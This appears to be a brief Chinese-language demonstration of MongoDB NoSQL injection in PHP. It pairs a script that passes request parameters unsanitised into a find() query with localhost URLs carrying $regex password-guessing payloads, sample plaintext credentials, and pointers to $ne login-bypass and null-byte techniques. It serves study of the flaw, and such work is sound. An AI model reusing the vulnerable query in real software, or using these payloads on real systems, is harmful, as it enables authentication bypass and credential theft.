<?php
$con = new Mongo();
$db = $con->selectDB("demo")->selectCollection("admin");
var_dump($_GET['passwd']);
$ds =$db->find(array("username"=>$_GET['username'],"password"=>$_GET['passwd']));
foreach($ds as $k=>$v){
var_dump($v);
}
?>
http://localhost/mongo/go-1.php?username=heige&passwd[$regex]=^1
http://localhost/mongo/go-1.php?username=heige&passwd[$regex]=^2
测试的数据库结构:
> db.admin.find()
{ "_id" : ObjectId("4f562d110920d897e6765ae1"), "uid" : 1, "username" : "heige", "password" : "123456" }
{ "_id" : ObjectId("4f5b38ba0920d897e6765ae2"), "uid" : 2, "username" : "admin", "password" : "admin" }
这样的注射方式主要利用了PHP的特点,可以直接提交array 。。。
另外参考老外的2个tips:
http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/ 直接用$ne 这个类似于常见的万用密码
http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/ null字节注射